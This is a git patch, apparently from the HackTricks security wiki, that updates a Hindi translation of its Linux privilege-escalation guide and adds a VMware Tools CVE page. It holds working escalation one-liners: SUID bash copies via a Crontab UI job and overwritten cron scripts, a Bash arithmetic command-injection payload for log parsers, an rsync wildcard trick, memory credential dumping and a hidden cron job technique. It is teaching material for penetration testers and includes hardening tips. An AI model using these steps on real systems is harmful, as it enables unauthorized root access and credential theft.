From 3f8afc1c8246a257095b64e93cd95ac5b6e1f14f Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:27:04 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 663 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 ++++ .../pentesting-web/vmware-esx-vcenter....md | 16 +- 4 files changed, 521 insertions(+), 305 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 905082126..78a62ca36 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS जानकारी -आइए चल रहे OS के बारे में कुछ जानकारी हासिल करना शुरू करें। +आइए चल रहे OS के बारे में कुछ जानकारी इकट्ठा करना शुरू करें। ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -यदि आप **`PATH` वैरिएबल के किसी भी फ़ोल्डर पर लिखने की अनुमति** रखते हैं, तो आप कुछ लाइब्रेरीज़ या बाइनरीज़ को हाईजैक कर सकते हैं: +यदि आप **`PATH` वैरिएबल के किसी भी फ़ोल्डर पर लिखने की अनुमति रखते हैं** तो आप कुछ libraries या binaries hijack कर सकते हैं: ```bash echo $PATH ``` ### Env जानकारी -क्या environment variables में कोई दिलचस्प जानकारी, पासवर्ड या API keys हैं? +क्या environment variables में कोई रोचक जानकारी, passwords या API keys हैं? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel version की जाँच करें और देखें कि कोई exploit है जिसे escalate privileges के लिए इस्तेमाल किया जा सके। +Kernel version जांचें और देखें कि कोई exploit है जिसे privileges escalate करने के लिए इस्तेमाल किया जा सके। ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -आप यहाँ एक अच्छी vulnerable kernel list और कुछ पहले से **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -अन्य साइटें जहाँ आप कुछ **compiled exploits** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +आप यहाँ एक अच्छी vulnerable kernel सूची और कुछ पहले से **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -उस वेबसाइट से सभी vulnerable kernel versions निकालने के लिए आप कर सकते हैं: +उस वेबसाइट से सभी vulnerable kernel versions निकालने के लिए आप यह कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits खोजने में मदद करने वाले टूल: +kernel exploits खोजने में मदद करने वाले उपकरण: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Always **Google में kernel version खोजें**, हो सकता है आपका kernel version किसी kernel exploit में लिखा हो और तब आप सुनिश्चित हो सकेंगे कि यह exploit वैध है। +हमेशा **kernel version को Google में खोजें**, हो सकता है कि आपका kernel version किसी kernel exploit में उल्लिखित हो और तब आप सुनिश्चित हो सकेंगे कि यह exploit वैध है। ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo संस्करण -उन कमजोर sudo संस्करणों के आधार पर जो प्रकट होते हैं: +निम्नलिखित में दिखाई देने वाले कमजोर Sudo संस्करणों के आधार पर: ```bash searchsploit sudo ``` -आप इस grep का उपयोग करके यह जांच सकते हैं कि sudo का संस्करण कमजोर है या नहीं। +आप इस grep का उपयोग करके जांच सकते हैं कि sudo का संस्करण कमजोर है या नहीं। ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg सिग्नेचर सत्यापन विफल -देखें **smasher2 box of HTB** — इस vuln का शोषण कैसे किया जा सकता है, इसका **उदाहरण**। +देखें **smasher2 box of HTB** पर कि इस **उदाहरण** में इस vuln को कैसे exploited किया जा सकता है ```bash dmesg 2>/dev/null | grep "signature" ``` -### अधिक system enumeration +### और सिस्टम एनेमरेशन ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## संभावित रक्षा उपायों की सूची +## संभावित बचावों को सूचीबद्ध करें ### AppArmor ```bash @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -अगर आप किसी docker container के अंदर हैं तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: +यदि आप किसी docker container के अंदर हैं तो आप उससे बाहर निकलने की कोशिश कर सकते हैं: + {{#ref}} docker-security/ {{#endref}} -## Drives +## ड्राइव्स -जाँचें कि **क्या mounted और unmounted है**, कहाँ और क्यों। अगर कुछ भी unmounted है तो आप इसे mount करने की कोशिश कर सकते हैं और निजी जानकारी के लिए जाँच कर सकते हैं +जाँचें कि **what is mounted and unmounted**, कहाँ और क्यों। अगर कुछ भी unmounted है तो आप उसे mount करके निजी जानकारी की जाँच कर सकते हैं। ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## उपयोगी सॉफ़्टवेयर -उपयोगी binaries को सूचीबद्ध करें +उपयोगी binaries सूचीबद्ध करें ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -साथ ही, जाँच करें कि **any compiler is installed**। यह तब उपयोगी होता है जब आपको कोई kernel exploit चलाना हो, क्योंकि अनुशंसा की जाती है कि इसे उसी machine पर compile करें जहाँ आप इसे चलाने वाले हैं (या किसी समान machine में)। +साथ ही, जाँच करें कि **any compiler is installed**. यह उपयोगी है अगर आपको कोई kernel exploit उपयोग करना हो क्योंकि यह सलाह दी जाती है कि उसे उसी मशीन पर compile किया जाए जहाँ आप उसे उपयोग करने वाले हैं (या किसी समान मशीन पर). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### असुरक्षित इंस्टॉल किए गए सॉफ़्टवेयर +### कमजोर सॉफ़्टवेयर स्थापित -इंस्टॉल किए गए पैकेजों और सेवाओं के **संस्करण** की जाँच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जो escalating privileges के लिए exploited किया जा सके…\ -अनुशंसा की जाती है कि अधिक संदिग्ध इंस्टॉल किए गए सॉफ़्टवेयर के संस्करण को मैन्युअली जाँचें। +स्थापित पैकेज और सेवाओं के **संस्करण** की जाँच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जिसे escalating privileges के लिए exploit किया जा सके…\ +अनुशंसित है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण को मैन्युअली जाँचें। ```bash dpkg -l #Debian rpm -qa #Centos ``` -यदि आपके पास मशीन तक SSH access है, तो आप मशीन के अंदर इंस्टॉल किए गए outdated और vulnerable software की जाँच करने के लिए **openVAS** का उपयोग भी कर सकते हैं। +यदि आपके पास मशीन तक SSH पहुँच है, तो आप मशीन में इंस्टॉल किए गए पुराने और कमजोर सॉफ़्टवेयर की जाँच करने के लिए **openVAS** का उपयोग भी कर सकते हैं। -> [!NOTE] > _ध्यान दें कि ये commands बहुत सारी जानकारी दिखाएँगे जो ज्यादातर बेकार होगी, इसलिए OpenVAS या इसी तरह के कुछ applications का उपयोग करने की सलाह दी जाती है जो जाँच करें कि कोई इंस्टॉल किए गए software version ज्ञात exploits के लिए vulnerable तो नहीं है_ +> [!NOTE] > _ध्यान दें कि ये कमांड्स बहुत सारी जानकारी दिखाएँगे जो ज्यादातर उपयोगी नहीं होगी, इसलिए OpenVAS जैसे applications या समान टूल की सलाह दी जाती है जो यह जाँचें कि कोई भी इंस्टॉल किया गया सॉफ़्टवेयर वर्शन ज्ञात exploits के लिए vulnerable तो नहीं है_ -## प्रक्रियाएँ +## Processes -देखें कि **कौन सी प्रक्रियाएँ** चल रही हैं और जाँचें कि कोई प्रक्रिया **उससे अधिक privileges तो नहीं रखती जितनी उसे होनी चाहिए** (शायद कोई tomcat root द्वारा चल रहा हो?) +देखें कि कौन से **processes** चल रहे हैं और जाँचें कि कोई process **उसे मिलने वाले अधिकारों से अधिक privileges तो नहीं रखता** (शायद कोई tomcat root द्वारा चल रहा हो?) ```bash ps aux ps -ef top -n 1 ``` -हमेशा यह जाँचें कि कोई [**electron/cef/chromium debuggers** चल तो नहीं रहे हैं, आप इन्हें privileges escalate करने के लिए abuse कर सकते हैं](electron-cef-chromium-debugger-abuse.md). **Linpeas** इनको process की command line में `--inspect` parameter की जाँच करके पहचानता है.\ -साथ ही **process के binaries पर अपनी privileges जाँचें**, शायद आप किसी को overwrite कर सकें। +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process. +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### प्रोसेस मॉनिटरिंग +### Process monitoring -आप प्रोसेस मॉनिटर करने के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग कर सकते हैं। यह अक्सर चलने वाले या जब कुछ शर्तें पूरी हों तो vulnerable processes की पहचान करने में बहुत उपयोगी हो सकता है। +आप [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग processes को monitor करने के लिए कर सकते हैं। यह उन vulnerable processes की पहचान करने में बहुत उपयोगी हो सकता है जो बार-बार execute हो रही हों या जब कुछ requirements पूरे हों। -### प्रोसेस मेमोरी +### Process memory -किसी सर्वर की कुछ सेवाएँ **memory के अंदर clear text में credentials** स्टोर करती हैं।\ -सामान्यतः अन्य users के processes की memory पढ़ने के लिए आपको **root privileges** चाहिए होते हैं, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही root हों और और credentials खोजना चाहें।\ -हालांकि, याद रखें कि **एक regular user के रूप में आप उन processes की memory पढ़ सकते हैं जो आपके हैं**। +कुछ सर्विसेज़ सर्वर की मेमोरी में **credentials in clear text inside the memory** सेव कर देती हैं। +आम तौर पर आपको अन्य users के processes की memory पढ़ने के लिए **root privileges** की ज़रूरत होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से root हों और और भी credentials खोजना चाहते हों। +हालाँकि, याद रखें कि **as a regular user you can read the memory of the processes you own**। > [!WARNING] -> ध्यान दें कि आजकल अधिकांश मशीनें **default रूप से ptrace की अनुमति नहीं देतीं** जिसका मतलब है कि आप उन other processes को dump नहीं कर सकते जो आपके unprivileged user से संबंधित हैं। +> ध्यान दें कि आजकल अधिकतर मशीनें **don't allow ptrace by default** होती हैं, जिसका मतलब है कि आप अपने unprivileged user के अन्य processes को dump नहीं कर पाएँगे। > -> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की accessibility को नियंत्रित करती है: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: सभी processes को debug किया जा सकता है, बशर्ते उनकी वही uid हो। यह ptracing का पारंपरिक तरीका है। +> - **kernel.yama.ptrace_scope = 0**: सभी प्रोसेस को debug किया जा सकता है, बशर्ते उनका वही uid हो। यह ptracing का पारंपरिक तरीका है। > - **kernel.yama.ptrace_scope = 1**: केवल parent process को debug किया जा सकता है। > - **kernel.yama.ptrace_scope = 2**: केवल admin ptrace का उपयोग कर सकता है, क्योंकि इसके लिए CAP_SYS_PTRACE capability की आवश्यकता होती है। -> - **kernel.yama.ptrace_scope = 3**: ptrace के साथ कोई भी process trace नहीं किया जा सकता। एक बार सेट होने पर ptracing को फिर से सक्षम करने के लिए reboot की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 3**: किसी भी process को ptrace से trace नहीं किया जा सकता। एक बार सेट होने पर ptracing को फिर से सक्षम करने के लिए reboot की आवश्यकता होती है। #### GDB -यदि आपके पास किसी FTP service (उदाहरण के लिए) की memory तक पहुँच है, तो आप Heap निकाल कर उसके credentials के अंदर search कर सकते हैं। +यदि आपके पास किसी FTP service की memory तक access है (उदाहरण के लिए) तो आप Heap निकाल कर उसके अंदर के credentials खोज सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -215,7 +216,10 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -किसी दिए गए process ID के लिए, **maps दिखाते हैं कि उस process के virtual address space में memory कैसे मैप हुई है**; यह प्रत्येक मैप किए गए region की **permissions** भी दिखाता है। वहीं, **mem** pseudo file **प्रोसेस की मेमोरी को स्वयं उजागर करता है**। **maps** फ़ाइल से हमें पता चलता है कि कौन से **memory regions पढ़ने योग्य हैं** और उनके offsets। हम इस जानकारी का उपयोग करके **mem file में seek कर के सभी पढ़ने योग्य regions को dump करके** एक फ़ाइल में सेव करते हैं। +किसी दिए गए process ID के लिए, **maps दिखाते हैं कि मेमोरी उस प्रक्रिया के वर्चुअल एड्रेस स्पेस में कैसे मैप की गई है**; यह **प्रत्येक मैप्ड क्षेत्र की permissions** भी दिखाता है। +यह **mem** pseudo file **प्रक्रिया की मेमोरी को स्वयं उजागर करता है**। +हमें **maps** फ़ाइल से पता चलता है कि कौन से **memory regions readable हैं** और उनके offsets। +हम इस जानकारी का उपयोग करके **mem file में seek करके सभी readable regions को dump करना** और उन्हें एक फ़ाइल में सेव करना करते हैं। ```bash procdump() ( @@ -230,14 +234,15 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच देता है, न कि वर्चुअल मेमोरी। कर्नेल के वर्चुअल एड्रेस स्पेस तक /dev/kmem का उपयोग करके पहुँचा जा सकता है.\ -आमतौर पर, `/dev/mem` केवल **root** और **kmem** group द्वारा पढ़ने योग्य होता है। +`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि वर्चुअल मेमोरी। Kernel के वर्चुअल एड्रेस स्पेस तक /dev/kmem का उपयोग करके पहुँच किया जा सकता है.\ +आम तौर पर, `/dev/mem` केवल **root** और **kmem** समूह द्वारा पढ़ा जा सकता है। ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump के लिए linux +### ProcDump for linux -ProcDump Windows के लिए Sysinternals suite के क्लासिक ProcDump टूल की Linux में पुनर्कल्पना है। इसे यहाँ प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump Windows के लिए Sysinternals सूट के क्लासिक ProcDump टूल का Linux पर पुनर्कल्पनात्मक संस्करण है। +इसे प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -264,33 +269,33 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### टूल्स +### उपकरण -To dump a process memory you could use: +process memory को dump करने के लिए आप इनका उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअली root आवश्यकताएँ हटा कर अपने स्वामित्व वाले process को dump कर सकते हैं -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root की आवश्यकता है) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से root आवश्यकताएँ हटाकर अपने स्वामित्व वाले process को dump कर सकते हैं +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root आवश्यक है) -### प्रोसेस मेमोरी से क्रेडेंशियल्स +### Process Memory से Credentials -#### मैन्युअल उदाहरण +#### मैनुअल उदाहरण यदि आप पाते हैं कि authenticator process चल रहा है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप process को dump कर सकते हैं (पहले के सेक्शनों को देखें ताकि किसी process की memory को dump करने के विभिन्न तरीके मिल सकें) और memory के अंदर credentials खोज सकते हैं: +आप process को dump कर सकते हैं (पहले के सेक्शन देखें ताकि process की memory को dump करने के अलग तरीके मिलें) और memory के अंदर credentials खोजें: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -यह टूल [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से क्लियर‑टेक्स्ट क्रेडेंशियल्स चुराएगा** और कुछ **प्रसिद्ध फ़ाइलों** से भी। यह सही तरीके से काम करने के लिए root privileges की आवश्यकता रखता है। +यह टूल [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) मेमोरी से **सादा-पाठ क्रेडेंशियल्स चोरी करेगा** और कुछ **जाने-पहचाने फ़ाइलों** से भी। सही ढंग से काम करने के लिए इसे root privileges की आवश्यकता होती है। -| विशेषता | प्रोसेस का नाम | +| विशेषता | प्रक्रिया का नाम | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -313,9 +318,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## अनुसूचित/Cron jobs -जाँच करें कि कोई scheduled job vulnerable है या नहीं। शायद आप उस script का फायदा उठा सकते हैं जो root द्वारा execute की जाती है (wildcard vuln? क्या आप root द्वारा उपयोग की जाने वाली files को modify कर सकते हैं? symlinks का उपयोग? root द्वारा उपयोग किए जा रहे directory में specific files बना सकते हैं?). +### Crontab UI (alseambusher) running as root – वेब-आधारित scheduler privesc + +यदि एक वेब “Crontab UI” पैनल (alseambusher/crontab-ui) root के रूप में चलता है और केवल loopback से बाइंड है, तो आप इसे SSH local port-forwarding के माध्यम से पहुँच सकते हैं और एक privileged job बनाकर escalate कर सकते हैं। + +Typical chain +- loopback-only पोर्ट खोजें (उदा., 127.0.0.1:8000) और Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` +- ऑपरेशनल artifacts में credentials खोजें: + - Backups/scripts जिनमें `zip -P ` + - systemd unit जो `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` प्रकट करता है +- Tunnel and login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- एक high-priv job बनाएं और तुरंत चलाएँ (drops SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- इसका उपयोग करें: +```bash +/tmp/rootshell -p # root shell +``` +Hardening +- Crontab UI को root के रूप में न चलाएँ; इसे एक समर्पित user और न्यूनतम अनुमतियों के साथ सीमित करें +- localhost पर bind करें और अतिरिक्त रूप से firewall/VPN के माध्यम से पहुँच सीमित करें; passwords का reuse न करें +- unit files में secrets embed करने से बचें; secret stores या केवल root-only EnvironmentFile का उपयोग करें +- on-demand job executions के लिए audit/logging सक्षम करें + +जाँच करें कि कोई scheduled job vulnerable है या नहीं। शायद आप उस script का फायदा उठा सकते हैं जो root द्वारा चलाया जा रहा है (wildcard vuln? क्या आप उन फाइलों को modify कर सकते हैं जिन्हें root उपयोग करता है? symlinks का उपयोग करें? उस directory में specific files बनाएं जिसे root उपयोग करता है?) ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -325,22 +360,22 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul उदाहरण के लिए, _/etc/crontab_ के अंदर आप PATH पा सकते हैं: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने की अनुमति है_) +(_ध्यान दें कि user के पास /home/user पर लिखने की अनुमति है_) -यदि इस crontab में root उपयोगकर्ता PATH सेट किए बिना किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ -फिर, आप निम्नलिखित का उपयोग करके root shell प्राप्त कर सकते हैं: +यदि इस crontab के अंदर root user PATH सेट किए बिना किसी कमांड या स्क्रिप्ट को चलाने की कोशिश करता है। For example: _\* \* \* \* root overwrite.sh_\ +तब, आप निम्न का उपयोग करके root shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron: वाइल्डकार्ड के साथ स्क्रिप्ट (Wildcard Injection) +### Cron का उपयोग script के साथ जिसमें एक wildcard हो (Wildcard Injection) -यदि कोई स्क्रिप्ट root द्वारा execute की जा रही है और किसी command के अंदर “**\***” मौजूद है, तो आप इसे exploit करके अप्रत्याशित चीजें (जैसे privesc) कर सकते हैं। उदाहरण: +यदि कोई script root द्वारा executed की जा रही हो और किसी command के अंदर “**\***” मौजूद हो, तो आप इसे exploit करके अनपेक्षित चीज़ें कर सकते हैं (जैसे privesc). उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि wildcard किसी path जैसे** _**/some/path/\***_ **के पहले आता है, तो यह vulnerable नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं)।** +**यदि wildcard किसी पथ से पहले आता है जैसे** _**/some/path/\***_ **, तो यह कमज़ोर नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं).** Read the following page for more wildcard exploitation tricks: @@ -352,9 +387,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash parameter expansion और command substitution को ((...)), $((...)) और let में arithmetic evaluation से पहले करता है। यदि कोई root cron/parser untrusted log fields पढ़ता है और उन्हें arithmetic context में डालता है, तो attacker एक command substitution $(...) inject कर सकता है जो cron के चलने पर root के रूप में execute होगा। +Bash ((...)), $((...)) और let में arithmetic evaluation से पहले parameter/variable expansion और command substitution करता है। यदि कोई root cron/parser untrusted log फ़ील्ड पढ़कर उन्हें arithmetic context में फीड करता है, तो attacker command substitution $(...) inject कर सकता है जो cron के चलने पर root के रूप में execute होगा। -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Why it works: Bash में expansions इस क्रम में होते हैं: parameter/variable expansion, command substitution, arithmetic expansion, उसके बाद word splitting और pathname expansion. इसलिए `$(/bin/bash -c 'id > /tmp/pwn')0` जैसा मान पहले substitute होता है (कमांड चलता है), फिर बाक़ी शेष numeric `0` arithmetic के लिए उपयोग होता है ताकि स्क्रिप्ट बिना error के जारी रहे। - Typical vulnerable pattern: ```bash @@ -366,7 +401,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: parsed log में attacker-controlled टेक्स्ट लिखवाएँ ताकि numeric-looking field में command substitution हो और वह किसी digit पर समाप्त हो। सुनिश्चित करें कि आपका command stdout पर कुछ न छापे (या इसे redirect करें) ताकि arithmetic वैध रहे। +- Exploitation: Parsed log में attacker-controlled text लिखवाएँ ताकि numeric-सा दिखने वाला फ़ील्ड command substitution समाहित करे और किसी अंक पर समाप्त हो। सुनिश्चित करें कि आपका command stdout पर कुछ न प्रिंट करे (या उसे redirect करें) ताकि arithmetic वैध रहे। ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -374,116 +409,116 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ``` ### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -अगर root द्वारा चलाया गया script किसी ऐसी **directory जहाँ आपको पूर्ण पहुँच हो** का उपयोग करता है, तो उस फ़ोल्डर को हटाकर और आपकी नियंत्रित script परोसे जाने वाले किसी अन्य स्थान की ओर एक **symlink फ़ोल्डर बनाने** से यह उपयोगी हो सकता है। +यदि root द्वारा निष्पादित किया गया script किसी ऐसे **directory where you have full access** का उपयोग करता है, तो उस फ़ोल्डर को हटाकर और किसी अन्य फ़ोल्डर की ओर **create a symlink folder to another one** बनाकर जो आपके द्वारा नियंत्रित script की सेवा करे, यह उपयोगी हो सकता है। ```bash ln -d -s ``` ### बार-बार चलने वाले cron jobs -आप प्रोसेसों की निगरानी कर सकते हैं ताकि उन प्रोसेसों को ढूँढा जा सके जो हर 1, 2 या 5 मिनट में चल रहे हों। शायद आप इसका फायदा उठा कर escalate privileges कर सकें। +आप प्रक्रियाओं की निगरानी करके उन प्रोसेसों को खोज सकते हैं जो हर 1, 2 या 5 मिनट में चल रहे हों। शायद आप इसका फायदा उठाकर escalate privileges कर सकें। -उदाहरण के लिए, **1 मिनट के दौरान हर 0.1s पर मॉनिटर करने**, **कम चलाए गए कमांड के अनुसार सॉर्ट करने** और उन कमांड्स को हटाने के लिए जो सबसे ज़्यादा चल चुके हैं, आप कर सकते हैं: +उदाहरण के लिए, **monitor every 0.1s during 1 minute**, **sort by less executed commands** और सबसे ज्यादा executed commands को delete करने के लिए, आप यह कर सकते हैं: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**आप इसका उपयोग भी कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह शुरू होने वाली हर process की निगरानी करेगा और उन्हें सूचीबद्ध करेगा)। +**आप इसका उपयोग भी कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर शुरू होने वाली प्रक्रिया की निगरानी करेगा और उन्हें सूचीबद्ध करेगा)। ### अदृश्य cron jobs -एक cronjob बनाया जा सकता है **comment के बाद एक carriage return डालकर** (बिना newline character के), और cron job काम करेगा। उदाहरण (carriage return char पर ध्यान दें): +यह संभव है कि एक cronjob बनाया जाए **एक टिप्पणी के बाद carriage return डालकर** (बिना newline character के), और cron job काम करेगा। उदाहरण (ध्यान दें carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Services -### 